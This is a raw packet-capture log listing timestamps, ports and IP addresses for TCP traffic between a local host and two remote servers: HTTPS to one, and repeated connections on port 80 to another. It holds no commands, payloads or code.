Dec 14, 2024 21:39:10.753191948 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.753201008 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.753268003 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.753552914 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.771065950 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.771106005 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.771215916 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.771215916 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.771224022 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.771305084 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.819595098 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.819636106 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.819835901 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.819835901 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.819848061 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.819938898 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.832226038 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.832264900 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.832403898 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.832403898 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.832416058 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.832689047 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.842976093 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.843018055 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.843277931 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.843277931 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.843290091 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.843389034 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.851605892 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.851646900 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.851696014 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.851703882 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.851774931 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.851774931 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.861352921 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.861396074 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.864962101 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.864969969 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.869242907 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.869296074 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.869401932 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.869401932 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.869410992 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.873038054 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.878094912 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.878134966 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.878803968 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.878804922 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.878813028 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.880980015 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.887084007 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.887125969 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.887233019 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.887233019 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.887247086 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.887343884 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.011113882 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.011171103 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.011228085 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.011240959 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.011331081 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.017700911 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.017745972 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.017888069 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.017888069 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.017896891 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.018013954 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.023463011 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.023504019 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.023587942 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.023593903 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.023627043 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.023646116 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.029979944 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.030021906 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.030102015 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.030102015 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.030109882 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.030247927 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.036276102 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.036319017 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.036398888 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.036406040 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.036463022 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.036463022 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.042896032 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.042936087 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.043050051 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.043050051 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.043060064 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.043111086 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.049499989 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.049540043 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.049602985 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.049609900 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.049680948 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.049680948 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.055253983 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.055299997 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.055342913 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.055350065 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.055403948 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.055403948 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.203166008 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.203223944 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.203298092 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.203298092 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.203310013 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.203367949 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.209611893 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.209656954 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.209717035 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.209723949 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.209805012 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.209805012 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.216252089 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.216295958 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.216381073 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.216387987 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.216408968 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.216466904 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.222282887 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.222323895 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.222419977 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.222419977 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.222428083 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.222475052 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.228384972 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.228425980 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.228540897 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.228540897 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.228549004 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.228595972 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.234987020 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.235028982 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.235069990 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.235078096 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.235116959 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.235155106 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.241440058 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.241480112 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.241543055 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.241552114 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.241650105 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.241650105 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.390295982 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.390353918 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.390388012 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.390399933 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.390440941 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.390463114 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.395734072 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.395777941 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.395814896 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.395824909 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.395854950 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.395879984 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.401570082 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.401612997 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.401644945 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.401654005 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.401689053 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.401711941 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.408196926 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.408236980 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.408281088 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.408291101 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.408303976 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.408341885 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.414736032 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.414783955 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.414815903 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.414823055 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.414866924 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.420905113 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.420947075 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.420984983 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.420993090 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.421066999 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.427529097 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.427570105 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.427608967 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.427617073 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.427665949 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.433387041 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.433425903 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.433465958 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.433474064 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.433512926 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.433540106 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.582163095 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.582205057 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.582247019 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.582254887 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.582304955 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.582328081 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.586713076 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.586754084 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.586791992 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.586798906 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.586836100 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.586860895 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.592408895 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.592448950 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.592470884 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.592477083 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.592525959 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.597656012 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.597708941 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.597738028 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.597743988 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.597790003 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.597795963 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.597857952 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:11.597912073 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:11.598321915 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:16.322201967 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:16.442392111 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:16.445775986 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:16.561445951 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:16.683155060 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:17.450784922 CET	49741	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:17.571526051 CET	80	49741	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:17.573116064 CET	49741	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:17.683554888 CET	49741	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:17.763004065 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:17.767358065 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:17.803649902 CET	80	49741	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:17.887545109 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:17.889610052 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:18.009895086 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:18.353137970 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:18.402182102 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:18.880624056 CET	80	49741	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:18.880914927 CET	49741	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:19.001185894 CET	80	49741	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:19.009500027 CET	49741	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:19.052848101 CET	49742	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:19.179857969 CET	80	49742	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:19.185380936 CET	49742	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:19.308295965 CET	49742	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:19.428217888 CET	80	49742	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:20.308595896 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:20.428890944 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:20.495618105 CET	80	49742	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:20.495744944 CET	49742	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:20.608285904 CET	49744	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:20.616424084 CET	80	49742	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:20.616503954 CET	49742	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:20.730308056 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:20.730814934 CET	80	49744	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:20.731009007 CET	49744	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:20.777175903 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:20.839962006 CET	49744	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:20.964698076 CET	80	49744	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:22.032435894 CET	80	49744	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:22.032607079 CET	49744	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:22.136966944 CET	49746	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:22.153150082 CET	80	49744	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:22.153285980 CET	49744	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:22.257774115 CET	80	49746	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:22.257903099 CET	49746	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:22.371078014 CET	49746	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:22.491235971 CET	80	49746	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:22.694705009 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:22.816389084 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:23.117474079 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:23.167831898 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:23.558634043 CET	80	49746	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:23.558875084 CET	49746	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:23.668521881 CET	49748	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:23.678987980 CET	80	49746	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:23.679332018 CET	49746	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:23.799841881 CET	80	49748	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:23.800177097 CET	49748	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:23.902287960 CET	49748	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:24.022200108 CET	80	49748	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:24.803076029 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:24.922985077 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:25.121289968 CET	80	49748	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:25.121422052 CET	49748	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:25.231050968 CET	49750	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:25.231760025 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:25.242254972 CET	80	49748	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:25.242470026 CET	49748	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:25.277184963 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:25.351263046 CET	80	49750	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:25.351427078 CET	49750	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:25.465665102 CET	49750	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:25.588155985 CET	80	49750	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:26.469047070 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:26.589508057 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:26.660307884 CET	80	49750	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:26.660548925 CET	49750	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:26.762160063 CET	49752	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:26.781394005 CET	80	49750	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:26.781519890 CET	49750	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:26.884838104 CET	80	49752	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:26.884938955 CET	49752	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:26.890372038 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:26.933454037 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:26.996015072 CET	49752	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:27.116722107 CET	80	49752	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:28.188206911 CET	80	49752	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:28.188338041 CET	49752	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:28.294657946 CET	49753	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:28.308757067 CET	80	49752	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:28.310920954 CET	49752	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:28.415652037 CET	80	49753	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:28.415832043 CET	49753	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:28.527338028 CET	49753	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:28.648539066 CET	80	49753	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:28.730690956 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:28.851382017 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:29.152478933 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:29.199179888 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:29.715487957 CET	80	49753	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:29.719106913 CET	49753	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:29.824659109 CET	49755	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:29.843113899 CET	80	49753	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:29.847068071 CET	49753	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:29.949827909 CET	80	49755	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:29.950124979 CET	49755	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:30.093904018 CET	49755	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:30.213730097 CET	80	49755	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:30.996351004 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:31.116677999 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:31.258049965 CET	80	49755	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:31.258358955 CET	49755	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:31.371746063 CET	49756	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:31.378994942 CET	80	49755	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:31.379282951 CET	49755	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:31.417957067 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:31.464766979 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:31.492044926 CET	80	49756	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:31.492168903 CET	49756	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:31.605432034 CET	49756	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:31.725953102 CET	80	49756	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:32.627170086 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:32.747512102 CET	80	49740	154.216.16.83	192.168.2.4
